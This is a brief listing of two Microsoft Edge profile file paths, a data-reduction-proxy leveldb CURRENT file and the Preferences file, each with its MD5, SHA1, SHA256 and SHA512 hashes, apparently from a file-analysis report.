C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 aefd77f47fb84fae5ea194496b44c67a
SHA1 dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
SHA512 b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 2f69264311657c71a47e6c13d9eb1beb
SHA1 1bb876f0f15d7a49f511ec728e83f1abee871348
SHA256 1eca3341b5c916cba353c1fc00f52f9e654e84f37dbcfd747dd28e877e3ffa4a
SHA512 a83c6801c64d4118aebf0ed401b6ec7073f8444e50f6fc29697ba06682dae94f62ce70daeed138f09c33750fd431a11931734a5e465306b29cbd4f36e092cadf